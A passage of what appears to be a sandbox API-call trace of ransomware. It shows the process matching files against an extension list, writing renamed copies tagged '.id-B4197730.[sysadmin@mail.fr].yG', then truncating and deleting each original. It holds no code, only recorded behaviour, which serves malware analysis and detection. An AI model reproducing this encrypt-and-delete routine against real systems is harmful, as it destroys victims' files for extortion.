	[0043.672] lstrcmpiW (lpString1=".1cd", lpString2=".rtf") returned -1
	[0043.672] lstrlenW (lpString="C:\\588bce7c90097ed212\\1053\\eula.rtf") returned 35
	[0043.672] lstrlenW (lpString=".jpg") returned 4
	[0043.672] lstrcmpiW (lpString1=".jpg", lpString2=".rtf") returned -1
	[0043.672] lstrlenW (lpString="C:\\588bce7c90097ed212\\1053\\eula.rtf") returned 35
	[0043.672] lstrlenW (lpString="C:\\588bce7c90097ed212\\1053\\eula.rtf") returned 35
	[0043.672] lstrlenW (lpString=".doc") returned 4
	[0043.672] lstrcmpiW (lpString1=".doc", lpString2=".rtf") returned -1
	[0043.672] lstrlenW (lpString=".docx") returned 5
	[0043.672] lstrcmpiW (lpString1=".docx", lpString2="a.rtf") returned -1
	[0043.672] lstrlenW (lpString=".pdf") returned 4
	[0043.672] lstrcmpiW (lpString1=".pdf", lpString2=".rtf") returned -1
	[0043.672] lstrlenW (lpString=".xls") returned 4
	[0043.672] lstrcmpiW (lpString1=".xls", lpString2=".rtf") returned 1
	[0043.672] lstrlenW (lpString=".xlsx") returned 5
	[0043.672] lstrcmpiW (lpString1=".xlsx", lpString2="a.rtf") returned -1
	[0043.672] lstrlenW (lpString=".ppt") returned 4
	[0043.672] lstrcmpiW (lpString1=".ppt", lpString2=".rtf") returned -1
	[0043.672] lstrlenW (lpString="C:\\588bce7c90097ed212\\1053\\eula.rtf") returned 35
	[0043.672] lstrlenW (lpString=".zip") returned 4
	[0043.672] lstrcmpiW (lpString1=".zip", lpString2=".rtf") returned 1
	[0043.672] lstrlenW (lpString=".rar") returned 4
	[0043.672] lstrcmpiW (lpString1=".rar", lpString2=".rtf") returned -1
	[0043.672] lstrlenW (lpString=".bz2") returned 4
	[0043.672] lstrcmpiW (lpString1=".bz2", lpString2=".rtf") returned -1
	[0043.672] lstrlenW (lpString=".7z") returned 3
	[0043.672] lstrcmpiW (lpString1=".7z", lpString2="rtf") returned -1
	[0043.672] lstrlenW (lpString="C:\\588bce7c90097ed212\\1053\\eula.rtf") returned 35
	[0043.672] lstrlenW (lpString=".dbf") returned 4
	[0043.673] lstrcmpiW (lpString1=".dbf", lpString2=".rtf") returned -1
	[0043.673] lstrlenW (lpString="C:\\588bce7c90097ed212\\1053\\eula.rtf") returned 35
	[0043.673] lstrlenW (lpString=".1cd") returned 4
	[0043.673] lstrcmpiW (lpString1=".1cd", lpString2=".rtf") returned -1
	[0043.673] lstrlenW (lpString="C:\\588bce7c90097ed212\\1053\\eula.rtf") returned 35
	[0043.673] lstrlenW (lpString=".jpg") returned 4
	[0043.673] lstrcmpiW (lpString1=".jpg", lpString2=".rtf") returned -1
	[0043.673] lstrcmpiW (lpString1=".xml", lpString2=".yG") returned -1
	[0043.673] lstrlenW (lpString="LocalizedData.xml") returned 17
	[0043.673] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\1055\\LocalizedData.xml" (normalized: "c:\\588bce7c90097ed212\\1055\\localizeddata.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2f8
	[0043.673] GetFileSizeEx (in: hFile=0x2f8, lpFileSize=0x2c2ff14 | out: lpFileSize=0x2c2ff14*=76818) returned 1
	[0043.673] CloseHandle (hObject=0x2f8) returned 1
	[0043.673] GetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\1055\\LocalizedData.xml" (normalized: "c:\\588bce7c90097ed212\\1055\\localizeddata.xml")) returned 0x80
	[0043.673] GetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\1055\\LocalizedData.xml.id-B4197730.[sysadmin@mail.fr].yG" (normalized: "c:\\588bce7c90097ed212\\1055\\localizeddata.xml.id-b4197730.[sysadmin@mail.fr].yg")) returned 0xffffffff
	[0043.673] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\1055\\LocalizedData.xml" (normalized: "c:\\588bce7c90097ed212\\1055\\localizeddata.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2f8
	[0043.673] SetFilePointerEx (in: hFile=0x2f8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c2fec0 | out: lpNewFilePointer=0x0) returned 1
	[0043.673] SetFilePointerEx (in: hFile=0x2f8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c2fec0 | out: lpNewFilePointer=0x0) returned 1
	[0043.673] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\1055\\LocalizedData.xml.id-B4197730.[sysadmin@mail.fr].yG" (normalized: "c:\\588bce7c90097ed212\\1055\\localizeddata.xml.id-b4197730.[sysadmin@mail.fr].yg"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2fc
	[0043.674] GetLastError () returned 0x0
	[0043.674] ReadFile (in: hFile=0x2f8, lpBuffer=0x3a0d020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2c2fecc, lpOverlapped=0x0 | out: lpBuffer=0x3a0d020*, lpNumberOfBytesRead=0x2c2fecc*=0x12c12, lpOverlapped=0x0) returned 1
	[0044.130] WriteFile (in: hFile=0x2fc, lpBuffer=0x3a0d020*, nNumberOfBytesToWrite=0x12c20, lpNumberOfBytesWritten=0x2c2fc94, lpOverlapped=0x0 | out: lpBuffer=0x3a0d020*, lpNumberOfBytesWritten=0x2c2fc94*=0x12c20, lpOverlapped=0x0) returned 1
	[0044.132] ReadFile (in: hFile=0x2f8, lpBuffer=0x3a0d020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2c2fecc, lpOverlapped=0x0 | out: lpBuffer=0x3a0d020*, lpNumberOfBytesRead=0x2c2fecc*=0x0, lpOverlapped=0x0) returned 1
	[0044.132] WriteFile (in: hFile=0x2fc, lpBuffer=0x3a0d020*, nNumberOfBytesToWrite=0xf6, lpNumberOfBytesWritten=0x2c2fc94, lpOverlapped=0x0 | out: lpBuffer=0x3a0d020*, lpNumberOfBytesWritten=0x2c2fc94*=0xf6, lpOverlapped=0x0) returned 1
	[0044.132] SetEndOfFile (hFile=0x2fc) returned 1
	[0044.132] CloseHandle (hObject=0x2fc) returned 1
	[0044.134] SetFilePointerEx (in: hFile=0x2f8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c2fec0 | out: lpNewFilePointer=0x0) returned 1
	[0044.134] SetEndOfFile (hFile=0x2f8) returned 1
	[0044.135] CloseHandle (hObject=0x2f8) returned 1
	[0044.135] SetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\1055\\LocalizedData.xml.id-B4197730.[sysadmin@mail.fr].yG", dwFileAttributes=0x80) returned 1
	[0044.135] DeleteFileW (lpFileName="C:\\588bce7c90097ed212\\1055\\LocalizedData.xml" (normalized: "c:\\588bce7c90097ed212\\1055\\localizeddata.xml")) returned 1
	[0044.136] lstrlenW (lpString="C:\\588bce7c90097ed212\\1055\\LocalizedData.xml") returned 44
	[0044.136] lstrlenW (lpString="C:\\588bce7c90097ed212\\1055\\LocalizedData.xml") returned 44
	[0044.136] lstrlenW (lpString=".doc") returned 4
	[0044.136] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1
	[0044.136] lstrlenW (lpString=".docx") returned 5
	[0044.136] lstrcmpiW (lpString1=".docx", lpString2="a.xml") returned -1
	[0044.136] lstrlenW (lpString=".pdf") returned 4
	[0044.136] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1
	[0044.136] lstrlenW (lpString=".xls") returned 4
	[0044.136] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1
	[0044.136] lstrlenW (lpString=".xlsx") returned 5
	[0044.136] lstrcmpiW (lpString1=".xlsx", lpString2="a.xml") returned -1
	[0044.136] lstrlenW (lpString=".ppt") returned 4
	[0044.136] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1
	[0044.136] lstrlenW (lpString="C:\\588bce7c90097ed212\\1055\\LocalizedData.xml") returned 44
	[0044.136] lstrlenW (lpString=".zip") returned 4
	[0044.136] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1
	[0044.136] lstrlenW (lpString=".rar") returned 4
	[0044.136] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1
	[0044.136] lstrlenW (lpString=".bz2") returned 4
	[0044.136] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1
	[0044.136] lstrlenW (lpString=".7z") returned 3
	[0044.136] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1
	[0044.136] lstrlenW (lpString="C:\\588bce7c90097ed212\\1055\\LocalizedData.xml") returned 44
	[0044.136] lstrlenW (lpString=".dbf") returned 4
	[0044.136] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1
	[0044.136] lstrlenW (lpString="C:\\588bce7c90097ed212\\1055\\LocalizedData.xml") returned 44
	[0044.136] lstrlenW (lpString=".1cd") returned 4
	[0044.136] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1
	[0044.136] lstrlenW (lpString="C:\\588bce7c90097ed212\\1055\\LocalizedData.xml") returned 44
	[0044.136] lstrlenW (lpString=".jpg") returned 4
	[0044.136] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1
	[0044.137] lstrlenW (lpString="C:\\588bce7c90097ed212\\1055\\LocalizedData.xml") returned 44
	[0044.137] lstrlenW (lpString="C:\\588bce7c90097ed212\\1055\\LocalizedData.xml") returned 44
	[0044.137] lstrlenW (lpString=".doc") returned 4
	[0044.137] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1
	[0044.137] lstrlenW (lpString=".docx") returned 5
	[0044.137] lstrcmpiW (lpString1=".docx", lpString2="a.xml") returned -1
	[0044.137] lstrlenW (lpString=".pdf") returned 4
	[0044.137] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1
	[0044.137] lstrlenW (lpString=".xls") returned 4
	[0044.137] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1
	[0044.137] lstrlenW (lpString=".xlsx") returned 5
	[0044.137] lstrcmpiW (lpString1=".xlsx", lpString2="a.xml") returned -1
	[0044.137] lstrlenW (lpString=".ppt") returned 4
	[0044.137] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1
	[0044.137] lstrlenW (lpString="C:\\588bce7c90097ed212\\1055\\LocalizedData.xml") returned 44
	[0044.137] lstrlenW (lpString=".zip") returned 4
	[0044.137] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1
	[0044.137] lstrlenW (lpString=".rar") returned 4
	[0044.137] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1
	[0044.137] lstrlenW (lpString=".bz2") returned 4
	[0044.137] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1
	[0044.137] lstrlenW (lpString=".7z") returned 3
	[0044.137] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1
	[0044.137] lstrlenW (lpString="C:\\588bce7c90097ed212\\1055\\LocalizedData.xml") returned 44
	[0044.137] lstrlenW (lpString=".dbf") returned 4
	[0044.137] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1
	[0044.137] lstrlenW (lpString="C:\\588bce7c90097ed212\\1055\\LocalizedData.xml") returned 44
	[0044.137] lstrlenW (lpString=".1cd") returned 4
	[0044.138] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1
	[0044.138] lstrlenW (lpString="C:\\588bce7c90097ed212\\1055\\LocalizedData.xml") returned 44
	[0044.138] lstrlenW (lpString=".jpg") returned 4
	[0044.138] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1
	[0044.138] lstrcmpiW (lpString1=".xml", lpString2=".yG") returned -1
	[0044.138] lstrlenW (lpString="LocalizedData.xml") returned 17
	[0044.138] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\3076\\LocalizedData.xml" (normalized: "c:\\588bce7c90097ed212\\3076\\localizeddata.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2f8
	[0044.138] GetFileSizeEx (in: hFile=0x2f8, lpFileSize=0x2c2ff14 | out: lpFileSize=0x2c2ff14*=60816) returned 1
	[0044.138] CloseHandle (hObject=0x2f8) returned 1
	[0044.138] GetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\3076\\LocalizedData.xml" (normalized: "c:\\588bce7c90097ed212\\3076\\localizeddata.xml")) returned 0x80
	[0044.138] GetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\3076\\LocalizedData.xml.id-B4197730.[sysadmin@mail.fr].yG" (normalized: "c:\\588bce7c90097ed212\\3076\\localizeddata.xml.id-b4197730.[sysadmin@mail.fr].yg")) returned 0xffffffff
	[0044.138] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\3076\\LocalizedData.xml" (normalized: "c:\\588bce7c90097ed212\\3076\\localizeddata.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2f8
	[0044.138] SetFilePointerEx (in: hFile=0x2f8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c2fec0 | out: lpNewFilePointer=0x0) returned 1
	[0044.138] SetFilePointerEx (in: hFile=0x2f8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c2fec0 | out: lpNewFilePointer=0x0) returned 1
	[0044.138] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\3076\\LocalizedData.xml.id-B4197730.[sysadmin@mail.fr].yG" (normalized: "c:\\588bce7c90097ed212\\3076\\localizeddata.xml.id-b4197730.[sysadmin@mail.fr].yg"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2fc
	[0044.139] GetLastError () returned 0x0
	[0044.139] ReadFile (in: hFile=0x2f8, lpBuffer=0x3a0d020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2c2fecc, lpOverlapped=0x0 | out: lpBuffer=0x3a0d020*, lpNumberOfBytesRead=0x2c2fecc*=0xed90, lpOverlapped=0x0) returned 1
	[0044.228] WriteFile (in: hFile=0x2fc, lpBuffer=0x3a0d020*, nNumberOfBytesToWrite=0xeda0, lpNumberOfBytesWritten=0x2c2fc94, lpOverlapped=0x0 | out: lpBuffer=0x3a0d020*, lpNumberOfBytesWritten=0x2c2fc94*=0xeda0, lpOverlapped=0x0) returned 1
	[0044.230] ReadFile (in: hFile=0x2f8, lpBuffer=0x3a0d020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2c2fecc, lpOverlapped=0x0 | out: lpBuffer=0x3a0d020*, lpNumberOfBytesRead=0x2c2fecc*=0x0, lpOverlapped=0x0) returned 1
	[0044.230] WriteFile (in: hFile=0x2fc, lpBuffer=0x3a0d020*, nNumberOfBytesToWrite=0xf6, lpNumberOfBytesWritten=0x2c2fc94, lpOverlapped=0x0 | out: lpBuffer=0x3a0d020*, lpNumberOfBytesWritten=0x2c2fc94*=0xf6, lpOverlapped=0x0) returned 1
	[0044.230] SetEndOfFile (hFile=0x2fc) returned 1
	[0044.230] CloseHandle (hObject=0x2fc) returned 1
	[0044.232] SetFilePointerEx (in: hFile=0x2f8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c2fec0 | out: lpNewFilePointer=0x0) returned 1
	[0044.232] SetEndOfFile (hFile=0x2f8) returned 1
	[0044.233] CloseHandle (hObject=0x2f8) returned 1
	[0044.233] SetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\3076\\LocalizedData.xml.id-B4197730.[sysadmin@mail.fr].yG", dwFileAttributes=0x80) returned 1
	[0044.233] DeleteFileW (lpFileName="C:\\588bce7c90097ed212\\3076\\LocalizedData.xml" (normalized: "c:\\588bce7c90097ed212\\3076\\localizeddata.xml")) returned 1
	[0044.233] lstrlenW (lpString="C:\\588bce7c90097ed212\\3076\\LocalizedData.xml") returned 44
	[0044.233] lstrlenW (lpString="C:\\588bce7c90097ed212\\3076\\LocalizedData.xml") returned 44
	[0044.234] lstrlenW (lpString=".doc") returned 4
	[0044.234] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1
	[0044.234] lstrlenW (lpString=".docx") returned 5
	[0044.234] lstrcmpiW (lpString1=".docx", lpString2="a.xml") returned -1
	[0044.234] lstrlenW (lpString=".pdf") returned 4
	[0044.234] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1
	[0044.234] lstrlenW (lpString=".xls") returned 4
	[0044.234] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1
	[0044.234] lstrlenW (lpString=".xlsx") returned 5
	[0044.234] lstrcmpiW (lpString1=".xlsx", lpString2="a.xml") returned -1
	[0044.234] lstrlenW (lpString=".ppt") returned 4
	[0044.234] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1
	[0044.234] lstrlenW (lpString="C:\\588bce7c90097ed212\\3076\\LocalizedData.xml") returned 44
	[0044.234] lstrlenW (lpString=".zip") returned 4
	[0044.234] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1
	[0044.234] lstrlenW (lpString=".rar") returned 4
	[0044.234] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1
	[0044.234] lstrlenW (lpString=".bz2") returned 4
	[0044.234] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1
	[0044.234] lstrlenW (lpString=".7z") returned 3
	[0044.234] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1
	[0044.234] lstrlenW (lpString="C:\\588bce7c90097ed212\\3076\\LocalizedData.xml") returned 44
	[0044.234] lstrlenW (lpString=".dbf") returned 4
	[0044.234] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1
	[0044.234] lstrlenW (lpString="C:\\588bce7c90097ed212\\3076\\LocalizedData.xml") returned 44
	[0044.234] lstrlenW (lpString=".1cd") returned 4
	[0044.234] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1
	[0044.234] lstrlenW (lpString="C:\\588bce7c90097ed212\\3076\\LocalizedData.xml") returned 44
	[0044.234] lstrlenW (lpString=".jpg") returned 4
	[0044.234] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1
	[0044.234] lstrlenW (lpString="C:\\588bce7c90097ed212\\3076\\LocalizedData.xml") returned 44
	[0044.234] lstrlenW (lpString="C:\\588bce7c90097ed212\\3076\\LocalizedData.xml") returned 44
	[0044.234] lstrlenW (lpString=".doc") returned 4
	[0044.234] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1
	[0044.235] lstrlenW (lpString=".docx") returned 5
	[0044.235] lstrcmpiW (lpString1=".docx", lpString2="a.xml") returned -1
	[0044.235] lstrlenW (lpString=".pdf") returned 4
	[0044.235] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1
	[0044.235] lstrlenW (lpString=".xls") returned 4
	[0044.235] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1
	[0044.235] lstrlenW (lpString=".xlsx") returned 5
	[0044.235] lstrcmpiW (lpString1=".xlsx", lpString2="a.xml") returned -1
	[0044.235] lstrlenW (lpString=".ppt") returned 4
	[0044.235] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1
	[0044.235] lstrlenW (lpString="C:\\588bce7c90097ed212\\3076\\LocalizedData.xml") returned 44
	[0044.235] lstrlenW (lpString=".zip") returned 4
	[0044.235] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1
	[0044.235] lstrlenW (lpString=".rar") returned 4
	[0044.235] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1
	[0044.235] lstrlenW (lpString=".bz2") returned 4
	[0044.235] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1
	[0044.235] lstrlenW (lpString=".7z") returned 3
	[0044.235] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1
	[0044.235] lstrlenW (lpString="C:\\588bce7c90097ed212\\3076\\LocalizedData.xml") returned 44
	[0044.235] lstrlenW (lpString=".dbf") returned 4
	[0044.235] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1
	[0044.235] lstrlenW (lpString="C:\\588bce7c90097ed212\\3076\\LocalizedData.xml") returned 44
	[0044.235] lstrlenW (lpString=".1cd") returned 4
	[0044.235] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1
	[0044.235] lstrlenW (lpString="C:\\588bce7c90097ed212\\3076\\LocalizedData.xml") returned 44
	[0044.235] lstrlenW (lpString=".jpg") returned 4
	[0044.235] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1
	[0044.235] lstrcmpiW (lpString1=".xml", lpString2=".yG") returned -1
	[0044.235] lstrlenW (lpString="Parameterinfo.xml") returned 17
	[0044.235] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\Client\\Parameterinfo.xml" (normalized: "c:\\588bce7c90097ed212\\client\\parameterinfo.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2e0
	[0044.244] GetFileSizeEx (in: hFile=0x2e0, lpFileSize=0x2c2ff14 | out: lpFileSize=0x2c2ff14*=201796) returned 1
	[0044.244] CloseHandle (hObject=0x2e0) returned 1
	[0044.244] GetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\Client\\Parameterinfo.xml" (normalized: "c:\\588bce7c90097ed212\\client\\parameterinfo.xml")) returned 0x80
	[0044.245] GetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\Client\\Parameterinfo.xml.id-B4197730.[sysadmin@mail.fr].yG" (normalized: "c:\\588bce7c90097ed212\\client\\parameterinfo.xml.id-b4197730.[sysadmin@mail.fr].yg")) returned 0xffffffff
	[0044.245] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\Client\\Parameterinfo.xml" (normalized: "c:\\588bce7c90097ed212\\client\\parameterinfo.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2e0
	[0044.245] SetFilePointerEx (in: hFile=0x2e0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c2fec0 | out: lpNewFilePointer=0x0) returned 1
	[0044.245] SetFilePointerEx (in: hFile=0x2e0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c2fec0 | out: lpNewFilePointer=0x0) returned 1
	[0044.245] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\Client\\Parameterinfo.xml.id-B4197730.[sysadmin@mail.fr].yG" (normalized: "c:\\588bce7c90097ed212\\client\\parameterinfo.xml.id-b4197730.[sysadmin@mail.fr].yg"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x350
	[0044.255] GetLastError () returned 0x0
	[0044.255] ReadFile (in: hFile=0x2e0, lpBuffer=0x3a0d020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2c2fecc, lpOverlapped=0x0 | out: lpBuffer=0x3a0d020*, lpNumberOfBytesRead=0x2c2fecc*=0x31444, lpOverlapped=0x0) returned 1
	[0044.369] WriteFile (in: hFile=0x350, lpBuffer=0x3a0d020*, nNumberOfBytesToWrite=0x31450, lpNumberOfBytesWritten=0x2c2fc94, lpOverlapped=0x0 | out: lpBuffer=0x3a0d020*, lpNumberOfBytesWritten=0x2c2fc94*=0x31450, lpOverlapped=0x0) returned 1
	[0044.372] ReadFile (in: hFile=0x2e0, lpBuffer=0x3a0d020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2c2fecc, lpOverlapped=0x0 | out: lpBuffer=0x3a0d020*, lpNumberOfBytesRead=0x2c2fecc*=0x0, lpOverlapped=0x0) returned 1
	[0044.373] WriteFile (in: hFile=0x350, lpBuffer=0x3a0d020*, nNumberOfBytesToWrite=0xf6, lpNumberOfBytesWritten=0x2c2fc94, lpOverlapped=0x0 | out: lpBuffer=0x3a0d020*, lpNumberOfBytesWritten=0x2c2fc94*=0xf6, lpOverlapped=0x0) returned 1
	[0044.373] SetEndOfFile (hFile=0x350) returned 1
	[0044.373] CloseHandle (hObject=0x350) returned 1
	[0044.376] SetFilePointerEx (in: hFile=0x2e0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c2fec0 | out: lpNewFilePointer=0x0) returned 1
	[0044.376] SetEndOfFile (hFile=0x2e0) returned 1
	[0044.378] CloseHandle (hObject=0x2e0) returned 1
	[0044.378] SetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\Client\\Parameterinfo.xml.id-B4197730.[sysadmin@mail.fr].yG", dwFileAttributes=0x80) returned 1
	[0044.378] DeleteFileW (lpFileName="C:\\588bce7c90097ed212\\Client\\Parameterinfo.xml" (normalized: "c:\\588bce7c90097ed212\\client\\parameterinfo.xml")) returned 1
	[0044.378] lstrlenW (lpString="C:\\588bce7c90097ed212\\Client\\Parameterinfo.xml") returned 46
	[0044.378] lstrlenW (lpString="C:\\588bce7c90097ed212\\Client\\Parameterinfo.xml") returned 46
	[0044.378] lstrlenW (lpString=".doc") returned 4
	[0044.378] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1
	[0044.379] lstrlenW (lpString=".docx") returned 5
	[0044.379] lstrcmpiW (lpString1=".docx", lpString2="o.xml") returned -1
	[0044.379] lstrlenW (lpString=".pdf") returned 4
	[0044.379] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1
	[0044.379] lstrlenW (lpString=".xls") returned 4
	[0044.379] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1
	[0044.379] lstrlenW (lpString=".xlsx") returned 5
	[0044.379] lstrcmpiW (lpString1=".xlsx", lpString2="o.xml") returned -1
	[0044.379] lstrlenW (lpString=".ppt") returned 4
	[0044.379] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1
	[0044.379] lstrlenW (lpString="C:\\588bce7c90097ed212\\Client\\Parameterinfo.xml") returned 46
	[0044.379] lstrlenW (lpString=".zip") returned 4
	[0044.379] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1
	[0044.379] lstrlenW (lpString=".rar") returned 4
	[0044.379] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1
	[0044.379] lstrlenW (lpString=".bz2") returned 4
	[0044.379] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1
	[0044.379] lstrlenW (lpString=".7z") returned 3
	[0044.379] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1
	[0044.379] lstrlenW (lpString="C:\\588bce7c90097ed212\\Client\\Parameterinfo.xml") returned 46
	[0044.379] lstrlenW (lpString=".dbf") returned 4
	[0044.379] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1
	[0044.379] lstrlenW (lpString="C:\\588bce7c90097ed212\\Client\\Parameterinfo.xml") returned 46
	[0044.379] lstrlenW (lpString=".1cd") returned 4
	[0044.379] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1
	[0044.379] lstrlenW (lpString="C:\\588bce7c90097ed212\\Client\\Parameterinfo.xml") returned 46
	[0044.379] lstrlenW (lpString=".jpg") returned 4
	[0044.379] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1
	[0044.379] lstrlenW (lpString="C:\\588bce7c90097ed212\\Client\\Parameterinfo.xml") returned 46
	[0044.379] lstrlenW (lpString="C:\\588bce7c90097ed212\\Client\\Parameterinfo.xml") returned 46
	[0044.379] lstrlenW (lpString=".doc") returned 4
	[0044.379] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1
	[0044.379] lstrlenW (lpString=".docx") returned 5
	[0044.379] lstrcmpiW (lpString1=".docx", lpString2="o.xml") returned -1
	[0044.379] lstrlenW (lpString=".pdf") returned 4
	[0044.379] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1
	[0044.379] lstrlenW (lpString=".xls") returned 4
	[0044.380] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1
	[0044.380] lstrlenW (lpString=".xlsx") returned 5
	[0044.380] lstrcmpiW (lpString1=".xlsx", lpString2="o.xml") returned -1
	[0044.380] lstrlenW (lpString=".ppt") returned 4
	[0044.380] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1
	[0044.380] lstrlenW (lpString="C:\\588bce7c90097ed212\\Client\\Parameterinfo.xml") returned 46
	[0044.380] lstrlenW (lpString=".zip") returned 4
	[0044.380] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1
	[0044.380] lstrlenW (lpString=".rar") returned 4
	[0044.380] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1
	[0044.380] lstrlenW (lpString=".bz2") returned 4
	[0044.380] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1
	[0044.380] lstrlenW (lpString=".7z") returned 3
	[0044.380] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1
	[0044.380] lstrlenW (lpString="C:\\588bce7c90097ed212\\Client\\Parameterinfo.xml") returned 46
	[0044.380] lstrlenW (lpString=".dbf") returned 4
